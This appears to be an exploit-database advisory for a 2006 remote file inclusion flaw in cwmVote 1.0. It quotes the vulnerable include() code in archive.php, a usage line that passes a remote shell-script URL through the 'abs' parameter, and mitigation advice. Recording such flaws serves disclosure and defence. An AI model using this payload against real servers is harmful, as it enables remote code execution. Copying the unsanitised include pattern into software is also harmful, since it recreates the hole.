cwmVote 1.0 File Include Vulnerability

vendor:

cwmVote

by:

bd0rk and SOH-Crew

7,5

CVSS

HIGH

File Include

CWE

Product Name: cwmVote

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:cwm-design:cwmvote

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

cwmVote 1.0 File Include Vulnerability

cwmVote 1.0 is vulnerable to a file include vulnerability. This vulnerability is due to the 'abs' parameter in the 'archive.php' script not being properly sanitized before being used to include files. This can be exploited to include arbitrary files from remote hosts by passing an URL as the 'abs' parameter. Successful exploitation requires that 'allow_url_include' is set to 'On' in the php.ini file.

Mitigation:

Ensure that the 'abs' parameter is properly sanitized before being used to include files. Ensure that 'allow_url_include' is set to 'Off' in the php.ini file.

Source

Exploit-DB raw data:

################################################################
#                                                              #
#            cwmVote 1.0 File Include Vulnerability            #
#                                                              #
# F0und3R: bd0rk || SOH-Crew                                   #
#                                                              #
# Website: www.soh-crew.it.tt                                  #
#                                                              #
# Download: http://explorer.cwm-design.de/dirs/41/cwmVote.rar  #
#                                                              #
################################################################

Vulnerable Code in archive.php


Code: include($abs."inc/functions.inc.php");
include($abs."inc/conf.mysql.inc.php");
include($abs."inc/conf.pw.inc.php");

Usage: http://[target]/[cwm_vote_path]/archive.php?abs=http://[Shellscript]

Greetings: TheJT, Lu7k, Kacper, nukedx, str0ke

# milw0rm.com [2006-12-19]